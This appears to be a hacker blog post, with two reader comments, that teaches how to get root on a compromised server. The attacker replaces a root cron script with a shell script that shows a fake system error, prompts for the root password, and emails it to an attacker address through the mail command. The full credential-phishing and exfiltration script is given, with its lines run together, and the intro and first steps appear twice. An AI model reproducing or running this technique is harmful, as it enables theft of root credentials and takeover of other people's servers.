Hi Guys...This is DJ Alone...Last Days I Got 3 Servers...Its Just a Good Week For Me...And Today I Got A Little Health Problems Also...But I Decided To Share a Good Method With U Guys...
When Ever We Got Server We Want To Root It...So We Are Trying To Beg LOCAL Root Kernel Exploit... Recently i Saw a Method That is Easy and It Can Help Us Rooting The Server...So Let's Move To The Topic...
How to Root a Server when there isn’t any Local Root Kernel Exploit available ???
You can do it with Cron Tab Scripts...
Cron Jobs are some Tasks that are set to be Executed at a specific time.If the Root user has created a Custom Script used by Cron, then we can
Write on this File, we can send a “Fake” Error Message and the Root user will probably type his password...
First, check out if there are any Cron Job Tasks :-
Code :-
crontab -l
okay we got a Custom script here , you can see backup.sh is the script...
When Ever We Got Server We Want To Root It...So We Are Trying To Beg LOCAL Root Kernel Exploit... Recently i Saw a Method That is Easy and It Can Help Us Rooting The Server...So Let's Move To The Topic...
How to Root a Server when there isn’t any Local Root Kernel Exploit available ???
You can do it with Cron Tab Scripts...
Cron Jobs are some Tasks that are set to be Executed at a specific time.If the Root user has created a Custom Script used by Cron, then we can
Write on this File, we can send a “Fake” Error Message and the Root user will probably type his password...
First, check out if there are any Cron Job Tasks :-
Code :-
crontab -l
okay we got a Custom script here , you can see backup.sh is the script...
here you can see it has 755 permission
Make a Copy of the Original Script !!
Okey now replace the code of original file with this :-
Code :-
#!/bin/shecho “An System Error Occured!”
echo “”echo “Error Code: #131425″echo “”echo “Update to get the Latest Patch for this Security Issue.”read -s -p “[sudo] password for root ” rootpasswdecho “”echo “su: Authentication failure”echo “”sudo apt-get update && sudo apt-get upgradesudo echo “The Password is: $rootpasswd” > .kodmail -s “Root’s Password” “email@address.com” < .kodrm .kodmv backup.sh backup
You just had to Replace the E-mail id with your E-Mail and the Name of the Script...
After you save the File,
type: chmod +x cronscript to set it as Executable...
This script will:
- Send a Fake Error Message
- Request for the Root’s Password
- Send to your E-Mail Address the Password (make sure that there is the “mail” command at the /bin)
When the Script gets Executed, the Root User will Enter his Password and it will be send to you...
like its similar to phishing na
ReplyDeleteGrt bro
ReplyDelete